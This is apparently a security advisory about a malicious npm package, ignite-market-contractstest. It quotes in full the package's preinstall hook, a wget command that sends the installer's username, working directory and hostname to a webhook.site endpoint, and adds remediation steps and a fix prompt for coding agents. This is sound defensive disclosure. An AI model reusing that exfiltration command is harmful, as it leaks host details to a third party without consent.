# MAL-2026-4583: Malicious code in ignite-market-contractstest (npm)


- **Type:** Malicious package
- **Package:** `ignite-market-contractstest` (npm)
- **Published:** 22 May 2026

## What is MAL-2026-4583?

MAL-2026-4583 is a malicious package in ignite-market-contractstest, published on 22 May 2026. 

### Official description

package.json declares a preinstall lifecycle hook that runs `wget --quiet "https://webhook.site/64063d25-fcd3-44e5-a454-34845bc63250/?user=$(whoami)&path=$(pwd)&hostname=$(hostname)"`. On every `npm install`, this exfiltrates the installer's username, current working directory, and hostname to a third-party request-logging endpoint controlled by the package author, without consent. The package metadata is placeholder (author 'me', empty description, version 0.0.9), the name `ignite-market-contractstest` is shaped like a dependency-confusion target against an internal `ignite-market-contracts` package, and it depends on `seaport-core-16` — a similarly suspicious name in the OpenSea seaport namespace. The combination of unconsented host-identifier exfiltration on install, dependency-confusion-shaped naming, and placeholder metadata is the canonical reconnaissance shape used to validate that an internal package name is reachable on the public registry.

## What should I do about MAL-2026-4583?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-4583 is a malicious package: ignite-market-contractstest (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-4583/ (Markdown: https://insights.sbomify.com/MAL-2026-4583/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-4583

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-4583/
Summaries are generated and may contain mistakes; the official description above is the record.